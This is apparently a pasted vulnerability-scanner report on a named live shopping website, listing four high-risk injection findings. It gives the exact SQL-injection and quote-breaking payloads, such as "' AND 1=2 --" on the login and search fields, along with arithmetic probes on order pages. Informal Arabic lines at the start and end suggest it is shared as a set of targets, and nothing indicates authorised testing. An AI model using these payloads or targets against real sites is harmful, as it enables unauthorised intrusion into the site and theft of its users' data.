فاااااااااااااااااااااك


At a glance
Classification Input Validation Error
Resource http://www.kardi.net/login.html
Parameter username
Method POST
Detection Type Blind Text Injection Differential
Risk High

Request
POST /login.html [username=' AND 1=2 -- password=vega ]
Resource Content
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>بطاقتي .. نحو عالم أفضل للتسوق | تسجيل الدخول</title>
    <meta name="description" content="نحو عالم أفضل للتسوق" />
    <meta name="keywords" content="" />
    <!-- Bootstrap CSS -->
    <link href="...


==================================================================================

At a glance
Classification Input Validation Error
Resource http://www.kardi.net/templates/design_en/cp/send_orders.html
Parameter order_tdate
Method POST
Detection Type Blind Arithmetic Evaluation Differential
Risk High

Request
POST /templates/design_en/cp/send_orders.html [order_name={$member_info.member_name} order_amount=100 order_foraccount={$banks.bank_name} order_tdate=1-0 ]
Resource Content
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>بطاقتي .. نحو عالم أفضل للتسوق | </title>
    <meta name="description" content="نحو عالم أفضل للتسوق" />
    <meta name="keywords" content="" />
    <!-- Bootstrap CSS -->
    <link href="templates/des...


========================================================================

Classification Input Validation Error
Resource http://www.kardi.net/templates/design_en/cp/sender_stat.html
Parameter sender_name
Method POST
Detection Type Blind Text Injection Differential
Risk High

Request
POST /templates/design_en/cp/sender_stat.html [sender_name=Joey'" ]
Resource Content
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>بطاقتي .. نحو عالم أفضل للتسوق | </title>
    <meta name="description" content="نحو عالم أفضل للتسوق" />
    <meta name="keywords" content="" />
    <!-- Bootstrap CSS -->
    <link href="templates/des...

==========================================================================


At a glance
Classification Input Validation Error
Resource http://www.kardi.net/templates/search.html
Parameter word
Method GET
Detection Type Blind Text Injection Differential
Risk High

Request
GET /templates/search.html?word='%20AND%201=2%20--%20
Resource Content
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>بطاقتي .. نحو عالم أفضل للتسوق | </title>
    <meta name="description" content="نحو عالم أفضل للتسوق" />
    <meta name="keywords" content="" />
    <!-- Bootstrap CSS -->
    <link href="templates/des...


====================================================================

في خط بين كل معلومات رابط و التاني
مع التمنيات بالتوفيق و النجاح :3